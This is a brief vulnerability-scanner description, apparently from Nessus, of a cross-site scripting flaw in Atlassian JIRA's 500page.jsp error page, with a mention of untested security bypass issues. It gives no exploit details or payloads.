The Atlassian JIRA installation hosted on the remote web server is affected by a cross-site scripting (XSS) vulnerability due to a failure to properly sanitize user-supplied error messages before being passed to the 500page.jsp script. A remote attacker, using a crafted URL, can exploit this to execute arbitrary code in a user’s browser.
Note that the application is also reportedly affected by multiple security bypass vulnerabilities; however, Nessus has not tested for these. Refer to the advisory for more information.
